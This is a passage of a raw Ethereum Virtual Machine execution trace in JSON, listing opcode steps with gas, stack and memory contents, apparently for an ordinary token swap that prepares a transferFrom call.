848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000"]},{"pc":12666,"op":"ADD","gas":98948,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x64","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000"]},{"pc":12667,"op":"DUP3","gas":98945,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x284"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000"]},{"pc":12668,"op":"SWAP1","gas":98942,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x284","0x4563918244f40000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000"]},{"pc":12669,"op":"MSTORE","gas":98939,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x4563918244f40000","0x284"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000000000000"]},{"pc":12670,"op":"PUSH2","gas":98933,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12673,"op":"SWAP1","gas":98930,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x220","0x2e7f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12674,"op":"DUP6","gas":98927,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12675,"op":"SWAP1","gas":98924,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x220","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12676,"op":"PUSH4","gas":98921,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12681,"op":"PUSH1","gas":98918,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x23b872dd"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12683,"op":"SHL","gas":98915,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x23b872dd","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12684,"op":"SWAP1","gas":98912,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x23b872dd00000000000000000000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12685,"op":"PUSH1","gas":98909,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12687,"op":"ADD","gas":98906,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x84"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12688,"op":"JUMPDEST","gas":98903,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b